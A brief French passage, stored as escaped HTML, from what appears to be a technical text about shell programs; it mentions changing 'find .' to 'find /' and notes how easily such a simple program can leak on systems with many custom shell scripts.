find\u00a0.<\/code>par\u00a0find\u00a0\/<\/code>. Malgr\u00e9 la simplicit\u00e9 de ce programme, on s’aper\u00e7oit vite qu’il est facile de le laisser fuir involontairement, surtout si le syst\u00e8me contient beaucoup de scripts shell personnalis\u00e9s.<\/p>\n